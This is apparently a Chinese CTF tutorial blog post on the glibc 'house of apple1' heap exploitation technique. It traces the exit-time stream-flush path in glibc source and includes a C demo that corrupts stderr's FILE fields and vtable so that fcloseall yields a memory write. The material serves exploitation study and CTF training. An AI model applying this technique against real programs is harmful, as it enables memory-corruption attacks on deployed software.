CTF-PWN-堆-【house of apple1】

利用条件

使用house of apple的条件为:

  1. 程序从main函数返回或能调用exit函数
  2. 能泄露出heap地址和libc地址
  3. 能使用一次largebin attack(一次即可)

利用原理

在基于amd64架构的程序中,当执行流到达main函数末端,或者显式调用C库中的exit函数时,都将导致程序正常终止。正常终止过程中,会发生一系列的清理工作,例如关闭所有打开的流(尤其是标准I/O流)来确保数据不会丢失,并且所有缓冲的输出都被写入它们对应的文件或设备中。

这一流程的实现细节包括一些C标准库的内部函数,你列出的函数调用链就是实现这些细节的一部分。接下来,我们结合源代码来解释这个流程:

  1. exit: 当应用程序调用exit函数时,C标准库会进行清理工作,释放资源,实现正常的程序终止。

  2. fcloseall: 这通常是一个C库内的函数,作用是关闭当前进程打开的所有文件流(FILE对象)。一些C标准库和C运行时可能没有公开fcloseall,因此它可能是平台特定的。

  3. _IO_cleanup: 这是glibc中的一个内部函数,用于清除所有的缓冲I/O流。它会尝试确保所有缓冲区被冲洗清理,并且所有输出都被写到它们相应的文件描述符中去。

  4. _IO_flush_all_lockp: 这个函数对所有已注册的FILE流进行遍历,并尝试刷清(flush)它们的缓冲区。它将所有的输出写到底层的文件描述符里。这个名称中的lockp表示执行过程将对每个流使用锁,以保证线程安全。

  5. _IO_OVERFLOW: _IO_OVERFLOW是FILE流操作的一部分,它属于FILE流的虚函数表(也就是vtable)中覆盖或实现的操作之一。当缓冲区满时,需要将数据写入到底层媒介时,这个函数会被调用。

  6. 最后,每个_IO_FILE结构体内嵌有一个指向虚函数表的指针(vtable)。这个虚函数表包含指向各种操作实现的函数指针,如_overflow用于在缓冲区满时处理额外数据的情况。_IO_flush_all_lockp在清理时会检查_IO_list_all链表(这是glibc所管理的全局FILE流链表),并对每个FILE对象应用相应的操作,如果满足条件(例如流正在写入模式并且有未冲洗的数据),则会调用vtable中_overflow函数指针所指向的函数。

详细代码

int  __fcloseall (void)
{
   /* Close all streams.  */
  return _IO_cleanup ();
}
int
_IO_cleanup (void)
{
  /* We do *not* want locking.  Some threads might use streams but
     that is their problem, we flush them underneath them.  */
  int result = _IO_flush_all_lockp (0);

  /* We currently don't have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they're supposed to be able to do so.

     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();

  return result;
}

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}
这里需要将` (   (   (    fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base  ) || (   _IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (   fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base  )  )  ) && _IO_OVERFLOW (fp, EOF) == EOF)`( fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base )满足或者为( _IO_vtable_offset (fp) == 0&& fp->_mode > 0 && ( fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base ) )满足,这样才能调用到_IO_OVERFLOW (fp, EOF) == EOF,因为在    && 中的判断,如果前一个为0,那么后一个将不会判断。

此时由于我们已经提前将fp->vatable修改为了_IO_wstrn_jumps ,此时_IO_OVERFLOW函数会调用到 _IO_wstrn_overflow函数

#define _IO_OVERFLOW(FP,CH) JUMP1 (__overflow, FP, CH)
扩展到:

((IO_validate_vtable ((*(__typeof__ (((struct _IO_FILE_plus){}).vtable) *)(((char *) ((fp))) + __builtin_offsetof (struct _IO_FILE_plus, vtable)))))->__overflow) (fp, (-1))
const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_wstrn_overflow会修改 fp->_wide_data的前64个字节,其中的_IO_wsetb 会修改16个字节

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  /* When we come to here this means the user supplied buffer is
     filled.  But since we must return the number of characters which
     would have been written in total we must provide a buffer for
     further use.  We can do this by writing on and on in the overflow
     buffer in the _IO_wstrnfile structure.  */
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
		 snf->overflow_buf + (sizeof (snf->overflow_buf)
				      / sizeof (wchar_t)), 0);

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
				      + (sizeof (snf->overflow_buf)
					 / sizeof (wchar_t)));
    }

  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;

  /* Since we are not really interested in storing the characters
     which do not fit in the buffer we simply ignore it.  */
  return c;
}

注意此时free (f->_wide_data->_IO_buf_base),由于如果_IO_buf_base是某些非法值的话,会导致程序出错崩溃,从而使得最后的赋值修改失效,所以需要绕过
可以选择f->_wide_data->_IO_buf_base 为0 或者 !(f->_flags2 & _IO_FLAGS2_USER_WBUF)为0来绕过

#define _IO_FLAGS2_USER_WBUF 8
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
  if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
    free (f->_wide_data->_IO_buf_base);
  f->_wide_data->_IO_buf_base = b;
  f->_wide_data->_IO_buf_end = eb;
  if (a)
    f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
  else
    f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

输出流

在C语言中,一个“输出流”是指向一个输出目的地的抽象接口,可以是文件、设备或其他数据接收端点。输出流允许你写入数据到某个目的地,例如磁盘上的文件或程序的标准输出(通常是屏幕)。标准 C 语言提供了一个 FILE 类型的对象来表示这种流。

当我们提到“所有打开的输出流”,我们指的是程序中当前已经被打开且用于写入数据的所有 FILE 对象。这不包括仅用于读取数据的输入流。

在C程序中,标准输出 (stdout)、标准错误 (stderr) 是默认已经打开的输出流之一。你也可以使用 fopen、freopen 或 fdopen 等函数手动打开其他文件生成的输出流。这些手动打开的文件流,连同标准输出和标准错误,构成了程序的“所有打开的输出流”。

例如:

FILE *file1 = fopen("output1.txt", "w");
FILE *file2 = fopen("output2.txt", "w");

// 现在我们有两个打开的输出流,file1 和 file2。
// 连同标准输出 stdout 和标准错误 stderr,这是当前程序的所有打开的输出流。

使用标准 C 库函数 fflush() 可以刷新一个特定的输出流。如果给 fflush() 传递 NULL 作为参数,它会尝试刷新所有的输出流。

fflush(NULL); // 尝试刷新所有打开的输出流。

这个操作确保所有缓存(也就是在内存中暂存的)的输出都被送至它们各自的文件或设备中。由于直接操作流的内部行为通常是不安全的,建议始终使用标准库提供的函数来管理文件和流。

_IO_flush_all_lockp

_IO_flush_all_lockp 函数的作用是刷新所有打开的输出流的缓冲区。在标准C库中,当你写入到一个输出流,如使用 printf 或者 fwrite,数据通常会先被存储在缓冲区中。只有在某些情况下,如缓冲区满了,或者你显式调用 fflush(),或者正常关闭流时(例如程序终止),缓冲区的内容才会被真正写入到对应的文件或设备中。

flcoseall

当 C 程序的 main 函数执行完成并返回,或者当通过调用 exit 函数请求终止程序时,通常会触发一个清理和关闭过程。在这个过程中,所有打开的标准 I/O 流会被关闭。这是通过 C 标准 I/O 库来管理的。

glibc (GNU C Library) 提供的 C 标准库遵循这些约定,但 fcloseall 不是 ISO C 标准的一部分,而是 GNU 扩展。在某些 C 标准库实现中,可能会有 fcloseall 这样的函数来关闭所有打开的文件流。然而,对于标准流(stdin, stdout, stderr),C 标准要求它们在程序退出时会被自动关闭。

具体到 glibc 的实现:

  1. 当您的程序通过返回从 main 中退出或调用 exit 函数时,会触发终止处理程序。终止处理程序会按与它们注册时相反的顺序调用 atexit 注册的所有函数。

  2. 在程序启动时,glibc 会注册一个名为 _IO_cleanup 的函数,该函数会在程序退出时被 exit 调用,它负责关闭所有打开的文件流。

  3. IO_cleanup 函数内部,会遍历文件流的列表并逐个调用 fclose。

  4. fclose 函数将刷新缓冲区中的任何剩余数据(对于输出流),关闭文件描述符,并释放相应的资源。

  5. 关闭流包括标准输入、输出和错误流(stdin、stdout、stderr),除非它们已经被手动关闭。

  6. 关闭所有流之后,程序会终止,返回控制权给操作系统。

宽字符

宽字符(wide character)是指在C/C++编程语言中,用于表示比标准字符(char)类型更宽的字符集的数据类型。标准字符通常是8位的,仅足够表示ASCII字符集。与之相对的宽字符(通常是wchar_t类型)可以是16位或者32位,能够表示更大范围的字符集,如Unicode中的字符。

宽字符I/O操作指的是针对宽字符数据类型的输入/输出操作。在C/C++标准库中,提供了专门处理宽字符的函数,与处理普通字符的函数相对应。例如,对于标准的char I/O操作,你可能会使用printf、scanf、fopen等函数,而对于宽字符操作,则会使用wprintf、wscanf、wfopen等函数。这些函数允许程序员正确地读取、写入宽字符和宽字符字符串,确保字符在不同环境(如不同操作系统或者不同地区设置)下可以正确处理。

这里有一些常见的宽字符I/O函数的例子:

  • wprintf和wscanf:这些函数类似于printf和scanf,但它们用于宽字符字符串格式化的输入和输出。
  • fgetws和fputws:这些函数分别从文件读取和写入宽字符字符串,类似于fgets和fputs。
  • wfopen:这个函数用于打开文件,类似于fopen,但它期望文件名是宽字符字符串,而不是普通字符字符串。

int atexit(void (*func)(void))

atexit 函数是C语言和Python中的一个非常有用的功能。它允许你注册一个或多个函数,以便在程序正常终止时自动执行。

在 C 语言中,atexit 函数定义在 stdlib.h 头文件中,其原型为:

int atexit(void (*func)(void));

你可以调用 atexit 函数并传递一个无参数无返回值的函数指针(即函数名称)。当程序通过 return 从 main 函数退出或者调用 exit 函数时,这个注册的函数将被执行。如果注册了多个函数,则它们将以相反的顺序执行(即后注册的函数先执行)。

这是一个 atexit 在 C 中使用的例子:


#include <stdio.h>
#include <stdlib.h>

void goodbye(void) {
    printf("Goodbye, world!\n");
}

int main() {
    // 注册 goodbye 函数。在 main 结束之前会执行。
    atexit(goodbye);

    printf("Hello, world!\n");

    // 程序结束时,会调用 goodbye 函数。
    return 0;
}

输出将会是:

Hello, world!
Goodbye, world!

演示

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("[*] allocate a 0x100 chunk");
    size_t *p1 = malloc(0xf0);
    size_t *tmp = p1;
    size_t old_value = 0x1122334455667788;
    for (size_t i = 0; i < 0x100 / 8; i++)
    {
        p1[i] = old_value;
    }
    puts("===========================old value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================old value=======================");

    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);

    size_t stderr_mode_ptr=puts_addr + 0x19a910;
    printf("[*] stderr->_mode address: %p\n", (void *)puts_addr);

    size_t stderr_write_ptr_addr = puts_addr + 0x19a878;
    printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
    
    size_t stderr_flags2_addr = puts_addr + 0x19a8c4;
    printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
    
    size_t stderr_wide_data_addr = puts_addr + 0x19a8f0;
    printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
    
    size_t sdterr_vtable_addr = puts_addr + 0x19a928;
    printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
    
    size_t _IO_wstrn_jumps_addr = puts_addr + 0x195f70;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

    puts("[+] step 1: change stderr->_mode to 0");
    *(int *)stderr_mode_ptr=0;

    puts("[+] step 2: change stderr->_IO_write_ptr to -1");
    *(size_t *)stderr_write_ptr_addr = (size_t)-1;

    puts("[+] step 3: change stderr->_flags2 to 8");
    *(size_t *)stderr_flags2_addr = 8;

    puts("[+] step 4: replace stderr->_wide_data with the allocated chunk");
    *(size_t *)stderr_wide_data_addr = (size_t)p1;

    puts("[+] step 5: replace stderr->vtable with _IO_wstrn_jumps");
    *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;

    puts("[+] step 6: call fcloseall and trigger house of apple");
    fcloseall();

    tmp = p1;
    puts("===========================new value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================new value=======================");
}
即将进入_IO_flush_all_lockp的    
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
的fp的结构图如下

在这里插入图片描述

在这里插入图片描述

参考链接1

  • 29
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值